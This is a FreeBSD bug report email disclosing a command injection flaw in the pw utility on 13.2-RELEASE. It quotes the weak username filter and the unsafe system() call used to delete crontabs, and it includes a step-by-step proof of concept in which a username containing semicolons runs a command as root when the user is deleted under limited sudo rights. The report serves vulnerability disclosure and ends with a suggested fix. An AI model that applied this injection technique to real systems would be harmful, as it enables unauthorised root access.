Date: Mon, 15 May 2023 06:09:40 +0000 From: bugzilla-noreply@freebsd.org To: standards@FreeBSD.org Subject: [Bug 271427] FreeBSD pw command injection vulnerability Message-ID: <bug-271427-99@https.bugs.freebsd.org/bugzilla/>
next in thread | raw e-mail | index | archive | help
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D271427 Bug ID: 271427 Summary: FreeBSD pw command injection vulnerability Product: Base System Version: 13.2-RELEASE Hardware: Any OS: Any Status: New Severity: Affects Only Me Priority: --- Component: standards Assignee: standards@FreeBSD.org Reporter: 858573819@qq.com Created attachment 242180 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=3D242180&action= =3Dedit the describtion of the bug =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Summary =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D I found a command injection vulnerability in the /usr/sbin/pw=20 and tested it successfully on FreeBSD 13.2-RELEASE. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Analysis =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D In usr.sbin/pw/pw_user.c file, the pw_checkname function's badchars filteri= ng of=20 malicious characters is not strict, such as no filtering of semicolons( ; ). badchars filtering is as below: ----------------------------------------- char * pw_checkname(char *name, int gecos) { char showch[8]; const char *badchars, *ch, *showtype; int reject; ch =3D name; reject =3D 0; if (gecos) { /* See if the name is valid as a gecos (comment) field. */ badchars =3D ":"; showtype =3D "gecos field"; } else { /* See if the name is valid as a userid or group. */ badchars =3D " ,\t:+&#%$^()!@~*?<>=3D|\\/\""; showtype =3D "userid/group name"; /* Userids and groups can not have a leading '-'. */ if (*ch =3D=3D '-') reject =3D 1; } ---------------------------------------------------------- So I can use the command: pw add user 'test;id;'=20 to bypass the malicious character check above and=20 a user named 'test;id;' ----------------------------------------------------------- buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh ---------------------------------------------------------------------------= --------------------------- In the pw_user_del function, when deleting a user, the related crontab tasks will also be=20 deleted by using the system() function to execute the contab command. ---------------------------------------------------------------------------= --------------------------- if (!PWALTDIR()) { /* Remove crontabs */ snprintf(file, sizeof(file), "/var/cron/tabs/%s", pwd->pw_name); if (access(file, F_OK) =3D=3D 0) { // crontab -u test;id; -r snprintf(file, sizeof(file), "crontab -u %s -r", pwd->pw_name); system(file); } } ---------------------------------------------------------------------------= -- If we have a username called 'test;id;', so the system(file) is equal to=20 system("crontab -u test;id;-r "), this command will successfully execute=20 the id command. ---------------------------------------------------------------------------= -- buff@freebsd:~ $ crontab -u test;id;-r crontab: must be privileged to use -u uid=3D1001(buff) gid=3D1001(buff) groups=3D1001(buff) -sh: -r: not found ---------------------------------------------------------------------------= --- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Attack case =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D My account( buff ) is just running the `pw` and `crontab` using for sudo, = and the=20 contents of sudoers are as follows: --------------------------------------------------- buff ALL=3D(root) NOPASSWD:/usr/sbin/pw buff ALL=3D(root) NOPASSWD:/usr/bin/crontab --------------------------------------------------- Next, I created a malicious username using `pw`. ------------------------------------------------------------ buff@freebsd:~ $ sudo pw user add 'test;id;' buff@freebsd:~ $ sudo pw user show 'test;id;' test;id;:*:1003:1003::0:0:User &:/home/test;id;:/bin/sh buff@freebsd:~ $ ------------------------------------------------------------------------- Then, I used crontab to create a task for the username 'test;id;'. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo crontab -u 'test;id;' -l 5 * * * * ls buff@freebsd:~ $ ------------------------------------------------------------------------- Finally, using the `pw user del 'test;id;'` command will delete the=20 user and its corresponding crontab task, and execute the=20 malicious injected `id` command. ------------------------------------------------------------------------- buff@freebsd:~ $ sudo pw user del 'test;id;' crontab: user `test' unknown uid=3D0(root) gid=3D0(wheel) groups=3D0(wheel),5(operator) sh: -r: not found buff@freebsd:~ $ ------------------------------------------------------------------------- =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Patch =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Enhance the badchars in the pw_checkname function by adding=20 semicolons and other characters that may cause malicious=20 command injection. --=20 You are receiving this mail because: You are the assignee for the bug.=
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-271427-99>